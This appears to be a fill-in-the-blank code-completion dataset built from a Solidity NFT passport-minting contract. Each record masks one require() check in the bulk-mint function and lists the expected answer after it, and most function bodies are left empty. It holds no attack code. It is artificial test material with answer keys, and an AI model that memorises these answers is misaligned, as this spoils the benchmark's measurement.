import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
//access control
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
// Helper functions OpenZeppelin provides.
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
interface ImageDataInf{
function getCDNImageForElement(string calldata element, uint16 level)external view returns(string memory);
function getIPFSImageForElement(string calldata element, uint16 level)external view returns(string memory);
function getAnnimationForElement(string calldata element)external view returns(string memory);
}
interface TokenURIInf{
function maketokenURi(uint _tokenId, uint wlSpots, uint winChances, uint softClay ) external view returns(string memory);
function contractURI() external view returns (string memory);
}
interface WinContr {
function getReferalIncrease()external view returns(uint16);
function updateAfterLoss(uint passportId, string calldata city, uint32 buildingId)external;
}
contract MetropolisWorldPassport is ERC721Enumerable, Ownable, AccessControl {
address private IMAGE_DATA_CONTRACT;
ImageDataInf ImageContract;
address private WIN_CONTRACT;
WinContr WinContract;
address private WL_CONTRACT;
address private TURI_CONTRACT;
TokenURIInf TuriContract;
//defining the access roles
bytes32 public constant UPDATER_ROLE = keccak256("UPDATER_ROLE");
//bytes32 public constant BALANCE_ROLE = keccak256("BALANCE_ROLE");
bytes32 public constant CONTRACT_ROLE = keccak256("CONTRACT_ROLE");
//payment split contract
address payable private _paymentSplit;
// The tokenId is the NFTs unique identifier, it's just a number that goes
// 0, 1, 2, 3, etc.
using Counters for Counters.Counter;
Counters.Counter private _tokenIds; //counter for token ids
//updateable variables
uint32 public _mintLimit = 5000;
uint16 public _maxAllowedPerWallet = 301; //maximum allowed to mint per wallet
string private _oddAvatar = "nomad";
string private _evenAvatar = "citizen";
uint256 public _navPrice = 0.12 ether;
struct AccessToken {
uint256 id;
uint32 winChances;
uint32 softClay; // max is 4 billion
// string name;
string rank;
//string description;
//string image;
//string animation;
//string cdnImage;
string element;
uint avatarWl;
uint256[] whitelistSpots;
}
string[] elements = ["Fire", "Water", "Air", "Space", "Pixel", "Earth"];
//store the list of minted tokens metadata to thier token id
mapping(uint256 => AccessToken) nftAccessTokenAttribute;
//give away wallets
mapping(address=>uint16) _freeMintable; //winners of free passport are mapped here and can mint for free.
mapping(bytes => bool) _signatureUsed;
//set up functions
constructor(address imageContract, address admin) ERC721("Metropolis World Passport", "METWA") {
}
//overides
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Enumerable ,AccessControl)
returns (bool)
{
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721Enumerable)
{
}
function contractURI() public view returns (string memory) {
}
/**
* @dev Set up the addrese for other contracts which interact with this contract.
* @param winContract The address of the win chances contract.
* @param wlContract The address of the Whitelist Contract.
* @param turiContract The address of the Token URI contract
* @notice Can only be called by wallets with UPDATER_ROLE
*/
function setWLContractAddress(address payable paymentContract, address winContract, address wlContract, address turiContract)external onlyRole(UPDATER_ROLE){
}
function setImageContract(address imageContract)external onlyRole(UPDATER_ROLE){
}
//minting functions
function _internalMint(address toWallet, uint32 winChance)internal {
}
/**
* @dev Used internally to mint free passports and send them to addreses eg. comp winners.
* @param toWallet The address which the passport will be minted too.
* @notice Can only be called by wallets with UPDATER_ROLE
*/
function freeMint(address toWallet)external onlyRole(UPDATER_ROLE) {
}
/**
* @dev Used by users who hvae been awarded a free passport. Checks against the list of approved wallets
*/
function userFreeMint(uint16 mints)external{
}
function myFreeMints()external view returns(uint16){
}
function recoverSigner(bytes32 hash, bytes memory signature) internal pure returns (address) {
}
/**
* @dev Bulk minitng function for users.
* @param numberOfMints the number of passports to be minted.
* @param toAddress the address the nft is going to.
* @param referrerTokenId the passport ID of the referrer, pass 0 if there is no referall.
*/
function bulkMint(uint16 numberOfMints, address toAddress, uint256 referrerTokenId, bytes32 hash, bytes memory signature)external payable {
require(recoverSigner(hash, signature)==owner(),"invalid signature");
require(<FILL_ME>)
require(numberOfMints < _maxAllowedPerWallet, "Trying to mint more then max allowed per wallet" );
require(msg.value >= (numberOfMints * _navPrice), "not paid enough");
require(balanceOf(msg.sender) < _maxAllowedPerWallet - numberOfMints, "address already owns max allowed");
require(_tokenIds.current() + numberOfMints - 1 <= _mintLimit, "Will take you over max supply");
_signatureUsed[signature] = true;
for(uint16 i; i < numberOfMints; i++){
if (referrerTokenId != 0){
referralMint(referrerTokenId, toAddress);
}else{
_internalMint(toAddress, 1);
}
}
//return the excess if any
if (msg.value > (numberOfMints * _navPrice)){
Address.sendValue(payable(msg.sender), (msg.value - (numberOfMints * _navPrice)));
}
}
/**
* @dev Standard minitng with the added functionaility of a referal mechamisum.
* @param referrerTokenId The token id of the passport refering the mint
*/
function referralMint(uint256 referrerTokenId, address toAddress) internal {
}
//Whitelist Functions
// all the functions which created the proccess of adding or removing WL from the passport
//city WL spots
/**
* @dev used by the WL contract to attache whitlis spots for cities to passport.
* @param wlId The ID of the WL being attached
* @param passportId the token ID of the passport which the WL is being attcahed to.
* @notice only callable by a wallet/contract with the CONTRACT_ROLE
*/
function attachWLSpot(uint wlId, uint passportId)external onlyRole(CONTRACT_ROLE){
}
/**
* @dev Get the WL spots a particular passport has.
* @param passportId The token id of the passport
*/
function getWLSpots(uint passportId)external view returns(uint[] memory){
}
function detachCityWLSpot(uint passportId, uint index)external onlyRole(CONTRACT_ROLE){
}
//avatar whitelist spots
function contractRemoveAvatarWL(uint256 tokenId, address owner)
external
onlyRole(CONTRACT_ROLE)
{
}
function manualAddAvatarWL(uint256 tokenId, uint avatar)
external
onlyRole(UPDATER_ROLE)
{
}
function checkAvatarWL(uint passportId)external view returns(uint){
}
function setAvatarWLNames(string calldata odd, string calldata even)
external
onlyRole(UPDATER_ROLE)
{
}
//Win Chance functions
function userUpdateAfterLoss(uint passportId, string calldata city, uint32 buildingId)external{
}
function increaseWinChance(uint passportId, uint16 inc)external onlyRole(CONTRACT_ROLE){
}
function decreaseWinChance(uint passportId, uint16 dec)external onlyRole(CONTRACT_ROLE){
}
// view values
function getWinChances(uint256 tokenId)external view returns (uint32) {
}
//Soft Clay functions
// all the functions relating to the meteor dust process.
function increaseSoftClay(uint passportId, uint32 amount)external onlyRole(CONTRACT_ROLE){
}
function decreaseSoftClay(uint passportId, uint32 amount)external onlyRole(CONTRACT_ROLE){
}
function updateRank(uint256 tokenId, uint32 _pioneerLevel, uint32 _legendLevel)external onlyRole(CONTRACT_ROLE){
}
function getSoftClay(uint passportId)external view onlyRole(CONTRACT_ROLE) returns(uint32){
}
//Admin or Helper Functions
// Mostly the ones use internaly to help user flow on the site.
function setFreeMinters(address[] calldata winners)external onlyRole(UPDATER_ROLE){
}
function setPrice(uint256 price) external onlyRole(UPDATER_ROLE) {
}
function setMaxAllowed(uint16 maxA)external onlyRole(UPDATER_ROLE){
}
function checkIfHasNFT(address owner)
external
view
returns (AccessToken[] memory nft)
{
}
function getCurrentTokenId() external view returns (string memory) {
}
function setMintLimit(uint32 limt) public onlyRole(UPDATER_ROLE) {
}
function sectionOne(uint _tokenId)external view returns(bytes memory){
}
// nftAccessTokenAttribute[_tokenId].description
// //token URI's
// ImageContract.getIPFSImageForElement(elm, 1),
// cdnImage: ImageContract.getCDNImageForElement(elm, 1)
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
// Transfers the ETH out of the contract to the specified address.
function withdraw() external {
}
}
| !_signatureUsed[signature],"Signature has already been used." | 128,105 | !_signatureUsed[signature] |
"not paid enough" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
//access control
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
// Helper functions OpenZeppelin provides.
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
interface ImageDataInf{
function getCDNImageForElement(string calldata element, uint16 level)external view returns(string memory);
function getIPFSImageForElement(string calldata element, uint16 level)external view returns(string memory);
function getAnnimationForElement(string calldata element)external view returns(string memory);
}
interface TokenURIInf{
function maketokenURi(uint _tokenId, uint wlSpots, uint winChances, uint softClay ) external view returns(string memory);
function contractURI() external view returns (string memory);
}
interface WinContr {
function getReferalIncrease()external view returns(uint16);
function updateAfterLoss(uint passportId, string calldata city, uint32 buildingId)external;
}
contract MetropolisWorldPassport is ERC721Enumerable, Ownable, AccessControl {
address private IMAGE_DATA_CONTRACT;
ImageDataInf ImageContract;
address private WIN_CONTRACT;
WinContr WinContract;
address private WL_CONTRACT;
address private TURI_CONTRACT;
TokenURIInf TuriContract;
//defining the access roles
bytes32 public constant UPDATER_ROLE = keccak256("UPDATER_ROLE");
//bytes32 public constant BALANCE_ROLE = keccak256("BALANCE_ROLE");
bytes32 public constant CONTRACT_ROLE = keccak256("CONTRACT_ROLE");
//payment split contract
address payable private _paymentSplit;
// The tokenId is the NFTs unique identifier, it's just a number that goes
// 0, 1, 2, 3, etc.
using Counters for Counters.Counter;
Counters.Counter private _tokenIds; //counter for token ids
//updateable variables
uint32 public _mintLimit = 5000;
uint16 public _maxAllowedPerWallet = 301; //maximum allowed to mint per wallet
string private _oddAvatar = "nomad";
string private _evenAvatar = "citizen";
uint256 public _navPrice = 0.12 ether;
struct AccessToken {
uint256 id;
uint32 winChances;
uint32 softClay; // max is 4 billion
// string name;
string rank;
//string description;
//string image;
//string animation;
//string cdnImage;
string element;
uint avatarWl;
uint256[] whitelistSpots;
}
string[] elements = ["Fire", "Water", "Air", "Space", "Pixel", "Earth"];
//store the list of minted tokens metadata to thier token id
mapping(uint256 => AccessToken) nftAccessTokenAttribute;
//give away wallets
mapping(address=>uint16) _freeMintable; //winners of free passport are mapped here and can mint for free.
mapping(bytes => bool) _signatureUsed;
//set up functions
constructor(address imageContract, address admin) ERC721("Metropolis World Passport", "METWA") {
}
//overides
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Enumerable ,AccessControl)
returns (bool)
{
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721Enumerable)
{
}
function contractURI() public view returns (string memory) {
}
/**
* @dev Set up the addrese for other contracts which interact with this contract.
* @param winContract The address of the win chances contract.
* @param wlContract The address of the Whitelist Contract.
* @param turiContract The address of the Token URI contract
* @notice Can only be called by wallets with UPDATER_ROLE
*/
function setWLContractAddress(address payable paymentContract, address winContract, address wlContract, address turiContract)external onlyRole(UPDATER_ROLE){
}
function setImageContract(address imageContract)external onlyRole(UPDATER_ROLE){
}
//minting functions
function _internalMint(address toWallet, uint32 winChance)internal {
}
/**
* @dev Used internally to mint free passports and send them to addreses eg. comp winners.
* @param toWallet The address which the passport will be minted too.
* @notice Can only be called by wallets with UPDATER_ROLE
*/
function freeMint(address toWallet)external onlyRole(UPDATER_ROLE) {
}
/**
* @dev Used by users who hvae been awarded a free passport. Checks against the list of approved wallets
*/
function userFreeMint(uint16 mints)external{
}
function myFreeMints()external view returns(uint16){
}
function recoverSigner(bytes32 hash, bytes memory signature) internal pure returns (address) {
}
/**
* @dev Bulk minitng function for users.
* @param numberOfMints the number of passports to be minted.
* @param toAddress the address the nft is going to.
* @param referrerTokenId the passport ID of the referrer, pass 0 if there is no referall.
*/
function bulkMint(uint16 numberOfMints, address toAddress, uint256 referrerTokenId, bytes32 hash, bytes memory signature)external payable {
require(recoverSigner(hash, signature)==owner(),"invalid signature");
require(!_signatureUsed[signature], "Signature has already been used.");
require(numberOfMints < _maxAllowedPerWallet, "Trying to mint more then max allowed per wallet" );
require(<FILL_ME>)
require(balanceOf(msg.sender) < _maxAllowedPerWallet - numberOfMints, "address already owns max allowed");
require(_tokenIds.current() + numberOfMints - 1 <= _mintLimit, "Will take you over max supply");
_signatureUsed[signature] = true;
for(uint16 i; i < numberOfMints; i++){
if (referrerTokenId != 0){
referralMint(referrerTokenId, toAddress);
}else{
_internalMint(toAddress, 1);
}
}
//return the excess if any
if (msg.value > (numberOfMints * _navPrice)){
Address.sendValue(payable(msg.sender), (msg.value - (numberOfMints * _navPrice)));
}
}
/**
* @dev Standard minitng with the added functionaility of a referal mechamisum.
* @param referrerTokenId The token id of the passport refering the mint
*/
function referralMint(uint256 referrerTokenId, address toAddress) internal {
}
//Whitelist Functions
// all the functions which created the proccess of adding or removing WL from the passport
//city WL spots
/**
* @dev used by the WL contract to attache whitlis spots for cities to passport.
* @param wlId The ID of the WL being attached
* @param passportId the token ID of the passport which the WL is being attcahed to.
* @notice only callable by a wallet/contract with the CONTRACT_ROLE
*/
function attachWLSpot(uint wlId, uint passportId)external onlyRole(CONTRACT_ROLE){
}
/**
* @dev Get the WL spots a particular passport has.
* @param passportId The token id of the passport
*/
function getWLSpots(uint passportId)external view returns(uint[] memory){
}
function detachCityWLSpot(uint passportId, uint index)external onlyRole(CONTRACT_ROLE){
}
//avatar whitelist spots
function contractRemoveAvatarWL(uint256 tokenId, address owner)
external
onlyRole(CONTRACT_ROLE)
{
}
function manualAddAvatarWL(uint256 tokenId, uint avatar)
external
onlyRole(UPDATER_ROLE)
{
}
function checkAvatarWL(uint passportId)external view returns(uint){
}
function setAvatarWLNames(string calldata odd, string calldata even)
external
onlyRole(UPDATER_ROLE)
{
}
//Win Chance functions
function userUpdateAfterLoss(uint passportId, string calldata city, uint32 buildingId)external{
}
function increaseWinChance(uint passportId, uint16 inc)external onlyRole(CONTRACT_ROLE){
}
function decreaseWinChance(uint passportId, uint16 dec)external onlyRole(CONTRACT_ROLE){
}
// view values
function getWinChances(uint256 tokenId)external view returns (uint32) {
}
//Soft Clay functions
// all the functions relating to the meteor dust process.
function increaseSoftClay(uint passportId, uint32 amount)external onlyRole(CONTRACT_ROLE){
}
function decreaseSoftClay(uint passportId, uint32 amount)external onlyRole(CONTRACT_ROLE){
}
function updateRank(uint256 tokenId, uint32 _pioneerLevel, uint32 _legendLevel)external onlyRole(CONTRACT_ROLE){
}
function getSoftClay(uint passportId)external view onlyRole(CONTRACT_ROLE) returns(uint32){
}
//Admin or Helper Functions
// Mostly the ones use internaly to help user flow on the site.
function setFreeMinters(address[] calldata winners)external onlyRole(UPDATER_ROLE){
}
function setPrice(uint256 price) external onlyRole(UPDATER_ROLE) {
}
function setMaxAllowed(uint16 maxA)external onlyRole(UPDATER_ROLE){
}
function checkIfHasNFT(address owner)
external
view
returns (AccessToken[] memory nft)
{
}
function getCurrentTokenId() external view returns (string memory) {
}
function setMintLimit(uint32 limt) public onlyRole(UPDATER_ROLE) {
}
function sectionOne(uint _tokenId)external view returns(bytes memory){
}
// nftAccessTokenAttribute[_tokenId].description
// //token URI's
// ImageContract.getIPFSImageForElement(elm, 1),
// cdnImage: ImageContract.getCDNImageForElement(elm, 1)
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
// Transfers the ETH out of the contract to the specified address.
function withdraw() external {
}
}
| msg.value>=(numberOfMints*_navPrice),"not paid enough" | 128,105 | msg.value>=(numberOfMints*_navPrice) |
"address already owns max allowed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
//access control
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
// Helper functions OpenZeppelin provides.
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
interface ImageDataInf{
function getCDNImageForElement(string calldata element, uint16 level)external view returns(string memory);
function getIPFSImageForElement(string calldata element, uint16 level)external view returns(string memory);
function getAnnimationForElement(string calldata element)external view returns(string memory);
}
interface TokenURIInf{
function maketokenURi(uint _tokenId, uint wlSpots, uint winChances, uint softClay ) external view returns(string memory);
function contractURI() external view returns (string memory);
}
interface WinContr {
function getReferalIncrease()external view returns(uint16);
function updateAfterLoss(uint passportId, string calldata city, uint32 buildingId)external;
}
contract MetropolisWorldPassport is ERC721Enumerable, Ownable, AccessControl {
address private IMAGE_DATA_CONTRACT;
ImageDataInf ImageContract;
address private WIN_CONTRACT;
WinContr WinContract;
address private WL_CONTRACT;
address private TURI_CONTRACT;
TokenURIInf TuriContract;
//defining the access roles
bytes32 public constant UPDATER_ROLE = keccak256("UPDATER_ROLE");
//bytes32 public constant BALANCE_ROLE = keccak256("BALANCE_ROLE");
bytes32 public constant CONTRACT_ROLE = keccak256("CONTRACT_ROLE");
//payment split contract
address payable private _paymentSplit;
// The tokenId is the NFTs unique identifier, it's just a number that goes
// 0, 1, 2, 3, etc.
using Counters for Counters.Counter;
Counters.Counter private _tokenIds; //counter for token ids
//updateable variables
uint32 public _mintLimit = 5000;
uint16 public _maxAllowedPerWallet = 301; //maximum allowed to mint per wallet
string private _oddAvatar = "nomad";
string private _evenAvatar = "citizen";
uint256 public _navPrice = 0.12 ether;
struct AccessToken {
uint256 id;
uint32 winChances;
uint32 softClay; // max is 4 billion
// string name;
string rank;
//string description;
//string image;
//string animation;
//string cdnImage;
string element;
uint avatarWl;
uint256[] whitelistSpots;
}
string[] elements = ["Fire", "Water", "Air", "Space", "Pixel", "Earth"];
//store the list of minted tokens metadata to thier token id
mapping(uint256 => AccessToken) nftAccessTokenAttribute;
//give away wallets
mapping(address=>uint16) _freeMintable; //winners of free passport are mapped here and can mint for free.
mapping(bytes => bool) _signatureUsed;
//set up functions
constructor(address imageContract, address admin) ERC721("Metropolis World Passport", "METWA") {
}
//overides
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Enumerable ,AccessControl)
returns (bool)
{
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721Enumerable)
{
}
function contractURI() public view returns (string memory) {
}
/**
* @dev Set up the addrese for other contracts which interact with this contract.
* @param winContract The address of the win chances contract.
* @param wlContract The address of the Whitelist Contract.
* @param turiContract The address of the Token URI contract
* @notice Can only be called by wallets with UPDATER_ROLE
*/
function setWLContractAddress(address payable paymentContract, address winContract, address wlContract, address turiContract)external onlyRole(UPDATER_ROLE){
}
function setImageContract(address imageContract)external onlyRole(UPDATER_ROLE){
}
//minting functions
function _internalMint(address toWallet, uint32 winChance)internal {
}
/**
* @dev Used internally to mint free passports and send them to addreses eg. comp winners.
* @param toWallet The address which the passport will be minted too.
* @notice Can only be called by wallets with UPDATER_ROLE
*/
function freeMint(address toWallet)external onlyRole(UPDATER_ROLE) {
}
/**
* @dev Used by users who hvae been awarded a free passport. Checks against the list of approved wallets
*/
function userFreeMint(uint16 mints)external{
}
function myFreeMints()external view returns(uint16){
}
function recoverSigner(bytes32 hash, bytes memory signature) internal pure returns (address) {
}
/**
* @dev Bulk minitng function for users.
* @param numberOfMints the number of passports to be minted.
* @param toAddress the address the nft is going to.
* @param referrerTokenId the passport ID of the referrer, pass 0 if there is no referall.
*/
function bulkMint(uint16 numberOfMints, address toAddress, uint256 referrerTokenId, bytes32 hash, bytes memory signature)external payable {
require(recoverSigner(hash, signature)==owner(),"invalid signature");
require(!_signatureUsed[signature], "Signature has already been used.");
require(numberOfMints < _maxAllowedPerWallet, "Trying to mint more then max allowed per wallet" );
require(msg.value >= (numberOfMints * _navPrice), "not paid enough");
require(<FILL_ME>)
require(_tokenIds.current() + numberOfMints - 1 <= _mintLimit, "Will take you over max supply");
_signatureUsed[signature] = true;
for(uint16 i; i < numberOfMints; i++){
if (referrerTokenId != 0){
referralMint(referrerTokenId, toAddress);
}else{
_internalMint(toAddress, 1);
}
}
//return the excess if any
if (msg.value > (numberOfMints * _navPrice)){
Address.sendValue(payable(msg.sender), (msg.value - (numberOfMints * _navPrice)));
}
}
/**
* @dev Standard minitng with the added functionaility of a referal mechamisum.
* @param referrerTokenId The token id of the passport refering the mint
*/
function referralMint(uint256 referrerTokenId, address toAddress) internal {
}
//Whitelist Functions
// all the functions which created the proccess of adding or removing WL from the passport
//city WL spots
/**
* @dev used by the WL contract to attache whitlis spots for cities to passport.
* @param wlId The ID of the WL being attached
* @param passportId the token ID of the passport which the WL is being attcahed to.
* @notice only callable by a wallet/contract with the CONTRACT_ROLE
*/
function attachWLSpot(uint wlId, uint passportId)external onlyRole(CONTRACT_ROLE){
}
/**
* @dev Get the WL spots a particular passport has.
* @param passportId The token id of the passport
*/
function getWLSpots(uint passportId)external view returns(uint[] memory){
}
function detachCityWLSpot(uint passportId, uint index)external onlyRole(CONTRACT_ROLE){
}
//avatar whitelist spots
function contractRemoveAvatarWL(uint256 tokenId, address owner)
external
onlyRole(CONTRACT_ROLE)
{
}
function manualAddAvatarWL(uint256 tokenId, uint avatar)
external
onlyRole(UPDATER_ROLE)
{
}
function checkAvatarWL(uint passportId)external view returns(uint){
}
function setAvatarWLNames(string calldata odd, string calldata even)
external
onlyRole(UPDATER_ROLE)
{
}
//Win Chance functions
function userUpdateAfterLoss(uint passportId, string calldata city, uint32 buildingId)external{
}
function increaseWinChance(uint passportId, uint16 inc)external onlyRole(CONTRACT_ROLE){
}
function decreaseWinChance(uint passportId, uint16 dec)external onlyRole(CONTRACT_ROLE){
}
// view values
function getWinChances(uint256 tokenId)external view returns (uint32) {
}
//Soft Clay functions
// all the functions relating to the meteor dust process.
function increaseSoftClay(uint passportId, uint32 amount)external onlyRole(CONTRACT_ROLE){
}
function decreaseSoftClay(uint passportId, uint32 amount)external onlyRole(CONTRACT_ROLE){
}
function updateRank(uint256 tokenId, uint32 _pioneerLevel, uint32 _legendLevel)external onlyRole(CONTRACT_ROLE){
}
function getSoftClay(uint passportId)external view onlyRole(CONTRACT_ROLE) returns(uint32){
}
//Admin or Helper Functions
// Mostly the ones use internaly to help user flow on the site.
function setFreeMinters(address[] calldata winners)external onlyRole(UPDATER_ROLE){
}
function setPrice(uint256 price) external onlyRole(UPDATER_ROLE) {
}
function setMaxAllowed(uint16 maxA)external onlyRole(UPDATER_ROLE){
}
function checkIfHasNFT(address owner)
external
view
returns (AccessToken[] memory nft)
{
}
function getCurrentTokenId() external view returns (string memory) {
}
function setMintLimit(uint32 limt) public onlyRole(UPDATER_ROLE) {
}
function sectionOne(uint _tokenId)external view returns(bytes memory){
}
// nftAccessTokenAttribute[_tokenId].description
// //token URI's
// ImageContract.getIPFSImageForElement(elm, 1),
// cdnImage: ImageContract.getCDNImageForElement(elm, 1)
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
// Transfers the ETH out of the contract to the specified address.
function withdraw() external {
}
}
| balanceOf(msg.sender)<_maxAllowedPerWallet-numberOfMints,"address already owns max allowed" | 128,105 | balanceOf(msg.sender)<_maxAllowedPerWallet-numberOfMints |
"Will take you over max supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
//access control
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
// Helper functions OpenZeppelin provides.
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
interface ImageDataInf{
function getCDNImageForElement(string calldata element, uint16 level)external view returns(string memory);
function getIPFSImageForElement(string calldata element, uint16 level)external view returns(string memory);
function getAnnimationForElement(string calldata element)external view returns(string memory);
}
interface TokenURIInf{
function maketokenURi(uint _tokenId, uint wlSpots, uint winChances, uint softClay ) external view returns(string memory);
function contractURI() external view returns (string memory);
}
interface WinContr {
function getReferalIncrease()external view returns(uint16);
function updateAfterLoss(uint passportId, string calldata city, uint32 buildingId)external;
}
contract MetropolisWorldPassport is ERC721Enumerable, Ownable, AccessControl {
address private IMAGE_DATA_CONTRACT;
ImageDataInf ImageContract;
address private WIN_CONTRACT;
WinContr WinContract;
address private WL_CONTRACT;
address private TURI_CONTRACT;
TokenURIInf TuriContract;
//defining the access roles
bytes32 public constant UPDATER_ROLE = keccak256("UPDATER_ROLE");
//bytes32 public constant BALANCE_ROLE = keccak256("BALANCE_ROLE");
bytes32 public constant CONTRACT_ROLE = keccak256("CONTRACT_ROLE");
//payment split contract
address payable private _paymentSplit;
// The tokenId is the NFTs unique identifier, it's just a number that goes
// 0, 1, 2, 3, etc.
using Counters for Counters.Counter;
Counters.Counter private _tokenIds; //counter for token ids
//updateable variables
uint32 public _mintLimit = 5000;
uint16 public _maxAllowedPerWallet = 301; //maximum allowed to mint per wallet
string private _oddAvatar = "nomad";
string private _evenAvatar = "citizen";
uint256 public _navPrice = 0.12 ether;
struct AccessToken {
uint256 id;
uint32 winChances;
uint32 softClay; // max is 4 billion
// string name;
string rank;
//string description;
//string image;
//string animation;
//string cdnImage;
string element;
uint avatarWl;
uint256[] whitelistSpots;
}
string[] elements = ["Fire", "Water", "Air", "Space", "Pixel", "Earth"];
//store the list of minted tokens metadata to thier token id
mapping(uint256 => AccessToken) nftAccessTokenAttribute;
//give away wallets
mapping(address=>uint16) _freeMintable; //winners of free passport are mapped here and can mint for free.
mapping(bytes => bool) _signatureUsed;
//set up functions
constructor(address imageContract, address admin) ERC721("Metropolis World Passport", "METWA") {
}
//overides
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Enumerable ,AccessControl)
returns (bool)
{
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721Enumerable)
{
}
function contractURI() public view returns (string memory) {
}
/**
* @dev Set up the addrese for other contracts which interact with this contract.
* @param winContract The address of the win chances contract.
* @param wlContract The address of the Whitelist Contract.
* @param turiContract The address of the Token URI contract
* @notice Can only be called by wallets with UPDATER_ROLE
*/
function setWLContractAddress(address payable paymentContract, address winContract, address wlContract, address turiContract)external onlyRole(UPDATER_ROLE){
}
function setImageContract(address imageContract)external onlyRole(UPDATER_ROLE){
}
//minting functions
function _internalMint(address toWallet, uint32 winChance)internal {
}
/**
* @dev Used internally to mint free passports and send them to addreses eg. comp winners.
* @param toWallet The address which the passport will be minted too.
* @notice Can only be called by wallets with UPDATER_ROLE
*/
function freeMint(address toWallet)external onlyRole(UPDATER_ROLE) {
}
/**
* @dev Used by users who hvae been awarded a free passport. Checks against the list of approved wallets
*/
function userFreeMint(uint16 mints)external{
}
function myFreeMints()external view returns(uint16){
}
function recoverSigner(bytes32 hash, bytes memory signature) internal pure returns (address) {
}
/**
* @dev Bulk minitng function for users.
* @param numberOfMints the number of passports to be minted.
* @param toAddress the address the nft is going to.
* @param referrerTokenId the passport ID of the referrer, pass 0 if there is no referall.
*/
function bulkMint(uint16 numberOfMints, address toAddress, uint256 referrerTokenId, bytes32 hash, bytes memory signature)external payable {
require(recoverSigner(hash, signature)==owner(),"invalid signature");
require(!_signatureUsed[signature], "Signature has already been used.");
require(numberOfMints < _maxAllowedPerWallet, "Trying to mint more then max allowed per wallet" );
require(msg.value >= (numberOfMints * _navPrice), "not paid enough");
require(balanceOf(msg.sender) < _maxAllowedPerWallet - numberOfMints, "address already owns max allowed");
require(<FILL_ME>)
_signatureUsed[signature] = true;
for(uint16 i; i < numberOfMints; i++){
if (referrerTokenId != 0){
referralMint(referrerTokenId, toAddress);
}else{
_internalMint(toAddress, 1);
}
}
//return the excess if any
if (msg.value > (numberOfMints * _navPrice)){
Address.sendValue(payable(msg.sender), (msg.value - (numberOfMints * _navPrice)));
}
}
/**
* @dev Standard minitng with the added functionaility of a referal mechamisum.
* @param referrerTokenId The token id of the passport refering the mint
*/
function referralMint(uint256 referrerTokenId, address toAddress) internal {
}
//Whitelist Functions
// all the functions which created the proccess of adding or removing WL from the passport
//city WL spots
/**
* @dev used by the WL contract to attache whitlis spots for cities to passport.
* @param wlId The ID of the WL being attached
* @param passportId the token ID of the passport which the WL is being attcahed to.
* @notice only callable by a wallet/contract with the CONTRACT_ROLE
*/
function attachWLSpot(uint wlId, uint passportId)external onlyRole(CONTRACT_ROLE){
}
/**
* @dev Get the WL spots a particular passport has.
* @param passportId The token id of the passport
*/
function getWLSpots(uint passportId)external view returns(uint[] memory){
}
function detachCityWLSpot(uint passportId, uint index)external onlyRole(CONTRACT_ROLE){
}
//avatar whitelist spots
function contractRemoveAvatarWL(uint256 tokenId, address owner)
external
onlyRole(CONTRACT_ROLE)
{
}
function manualAddAvatarWL(uint256 tokenId, uint avatar)
external
onlyRole(UPDATER_ROLE)
{
}
function checkAvatarWL(uint passportId)external view returns(uint){
}
function setAvatarWLNames(string calldata odd, string calldata even)
external
onlyRole(UPDATER_ROLE)
{
}
//Win Chance functions
function userUpdateAfterLoss(uint passportId, string calldata city, uint32 buildingId)external{
}
function increaseWinChance(uint passportId, uint16 inc)external onlyRole(CONTRACT_ROLE){
}
function decreaseWinChance(uint passportId, uint16 dec)external onlyRole(CONTRACT_ROLE){
}
// view values
function getWinChances(uint256 tokenId)external view returns (uint32) {
}
//Soft Clay functions
// all the functions relating to the meteor dust process.
function increaseSoftClay(uint passportId, uint32 amount)external onlyRole(CONTRACT_ROLE){
}
function decreaseSoftClay(uint passportId, uint32 amount)external onlyRole(CONTRACT_ROLE){
}
